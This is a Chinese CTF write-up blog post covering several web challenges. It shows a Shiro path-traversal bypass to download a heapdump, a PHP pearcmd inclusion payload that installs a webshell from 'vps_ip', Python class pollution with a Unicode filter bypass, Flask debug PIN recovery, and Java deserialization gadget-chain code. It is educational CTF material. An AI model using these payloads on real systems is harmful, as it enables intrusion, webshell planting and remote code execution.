御林MID
本文最后更新于 47 天前,其中的信息可能已经有所发展或是发生改变。

第3次写wp好激动

Shiro的春天

根据提示,搜索heapdump,得知在shiro存在sping漏洞时
可以访问/actuator/heapdump获取heapdump文件
为了越权访问该文件
我们在路径前加上/xxx/..;
Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
SpringBoot 处理 /xxx/..;/actuator/heapdump , 最终请求 /actuator/heapdump, 成功访问了后台请求。

heapdump文件是从JVM虚拟机内存导出的,包含了很多敏感信息
如shirokey
我们可以利用如heapdump-tool的工具检索key

获得shirokey之后,我们可以使用shiro利用工具,如shiro-attack
输入shirokey之后,cat flag就行(一定记得用java8环境运行)

包含点啥🤪

根据提示,搜索pecl
搜到了shad0wwalker的文章(

首先$_SERVER['argv']参数按照+划分,$_GET[]按照&划分
题目要求$_SERVER['argv']不超过三个
于是构造如下payload

?file=/usr/local/lib/php/pearcmd&+install+http://vps_ip/1.php

将1.php下载到本地,然后包含1,最后用蚁连接

但是题目还要readflag,并且要计算加法
发现环境中有gcc,于是上传c文件,编译运行,获取flag

斩🗡️相思

进入环境后,查看网页源代码,发现/memory访问该路径
得到py源代码,根据提示搜索污染,并且看到merge,和__file__
显然是原型链污染

{"name":123,
 "__init__" : {
     "__globals__" : {
         "__file__" : "/flag"
     }
 }
}

虽然下划线被过滤了,但是jsonload时会自动Unicode解码
于是Unicode编码绕过
但是没有flag,环境变量里也没有

发现flask开启了debug模式
在/console会有一个控制台,可以执行命令
不过需要pin码
按照网上的教程,破解该pin码需要6个数据

直接读取相应的文件获取

probably_public_bits = [
    'root'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),根据报错页面获得
]
private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/eth0/address
    '41da86c2-9d12-491d-a2ce-7a14a5586f5b'# get_machine_id(), /proc/self/cgroup 
]

需要注意,python3的破解脚本要用sha1(),python2的时md5()
破解完了之后可以用popen函数执行任意命令

JVAV守门员

hashCode

java在反序列化时会执行对应类的readObject方法

目标是调用Flag1类的hashCode方法

HashMap类的readObject会调用每一个key的hashCode

所以我们只用把Flag1放进HashMap的key中

Result result=new Result();
HashMap<Flag1,Integer> map = new HashMap<Flag1,Integer>();
map.put(new Flag1(), 1);
result.object=map;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));

toString

这次的目标是toString方法

在 BadAttributeValueExpException 的 readObject 方法中,会调用成员变量 valtoString 方法
只需要把Flag2赋值给BadAttributeValueExpException就行

但因为 BadAttributeValueExpException 的构造函数会判断是否为空
如果不为空在序列化时就会执行 toString()
那么反序列化时,因为传入的 entry 已经是字符串,就不会触发 toString 方法
所以我们利用反射设置 val 的值

BadAttributeValueExpException val=new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,new Flag2());
Result result = new Result();
result.object=val;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));

get

本来想直接TiedMapEntry或者AnnotationInvocationHandler触发
但是我本地没有这两个类,不知道题目环境里有没有(我估计大概率没有,因为只有Flag3是继承的HashMap)
所以我们用Hashtable的reconstitutionPut来触发
利用链如下

Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            Flag3.equals
                Flag3.get

观察reconstitutionPut代码,发现至少要有两个元素
且两个元素哈希值要相同(&&短路)实际值不同(否则抛出异常,导致flag重置)

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}

Flag3继承自HashMap,观察HashMap的hashCode

public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}

是分别计算再异或,value可以设置相同,但key不能相同

因为会调用第一个元素的equals,传入的参数为第二个元素
而第一个元素的equals会调用传入元素(第二个元素)的get,传入的参数为该元素(第一个元素)的key
所以要想等于YulinSec,第一个元素的key必须是YulinSec
根据String的hshCode原理

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

所以我们让第一个Y比Z小1
经过第一轮循环后h的差值就差1
在第二轮循环会扩大为31*1
所以我们可以控制第二个字符u比V大31
刚好抵消了这个差距

最终构造为YulinSec和ZVlinSec

Flag3 map1 = new Flag3();
map1.put("YulinSec",1);
Flag3 map2 = new Flag3();
map2.put("ZVlinSec",1);
Hashtable map = new Hashtable();
map.put(map1, 1);
map.put(map2, 2);
Result result=new Result();
result.object=map;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));

equals

没做出来,粘一份出题人的payload代码(

package cn.yulinsec.gadgetgame.poc;

import cn.yulinsec.gadgetgame.pojo.Flag3;
import cn.yulinsec.gadgetgame.pojo.Flag4;
import cn.yulinsec.gadgetgame.pojo.Result;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class HowToEquals implements Serializable{

    String name;

    public HowToEquals(String name) {
        this.name = name;
    }

    @Override
    public boolean equals(Object obj) {
        if (obj instanceof HowToEquals) {
            System.out.println(String.format("is %s equals to %s ?", this.name, ((HowToEquals) obj).name));
            if (this.name == ((HowToEquals) obj).name) {
                return true;
            }
        }
        return false;
    }

    public static void main(String[] args) throws Exception{

        Object o1 = new Flag4();
        Object o2 = "YulinSec";

        HashMap m1 = new HashMap();
        HashMap m2 = new HashMap();
        m1.put("yy", o2);
        m1.put("zZ", o1);
        m2.put("yy", o1);
        m2.put("zZ", o2);
        HashMap<Object, Object> map = makeMap(m1, m2);
        System.out.println(map);
        Result result = new Result();
        Class c = result.getClass();
        Field objectField = c.getDeclaredField("object");
        objectField.setAccessible(true);
        objectField.set(result, map);
        byte[] bytes = serialize(result);
        String encodedString = Base64.getEncoder().encodeToString(bytes);
        System.out.println(encodedString);
        deserialize(bytes);
    }


    // call equals if hash is the same
    // o1.equals(o2)
    public static HashMap<Object, Object> makeMap(Object o1, Object o2) throws Exception {
        HashMap m = new HashMap<>();
        setFieldValue(m, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, o1, 0, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, o2, 0, null));
        setFieldValue(m, "table", tbl);
        return m;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        if (field != null) {
            field.set(obj, value);
        }
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        return baos.toByteArray();
    }

    public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object result = ois.readObject();
        return result;
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇